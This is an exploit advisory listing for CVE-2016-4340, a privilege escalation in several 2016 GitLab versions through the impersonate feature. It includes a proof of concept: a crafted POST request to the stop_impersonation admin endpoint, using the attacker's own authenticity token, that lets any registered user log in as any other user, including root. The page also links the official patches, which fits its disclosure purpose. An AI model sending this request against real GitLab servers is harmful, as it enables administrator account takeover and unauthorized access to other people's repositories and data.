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GitLab Impersonate Privilege Escalation

GitLab Impersonate Privilege Escalation
Posted Aug 16, 2016
Authored by Kaimi

GitLab suffers from a privilege escalation vulnerability via the impersonate feature. Versions 8.2.0 through 8.2.4, 8.3.0 through 8.3.8, 8.4.0 through 8.4.9, 8.5.0 through 8.5.11, 8.6.0 through 8.6.7, and 8.7.0 are affected.

tags | exploit
advisories | CVE-2016-4340
MD5 | 74dc0c8495c4820f77c077caa43f658e

GitLab Impersonate Privilege Escalation

Change Mirror Download
# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps

1. Description

Any registered user can "log in" as any other user, including administrators.

https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/


2. Proof of Concept

Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:

POST /admin/users/stop_impersonation?id=root
. . .

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.


3. Solution:

Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/

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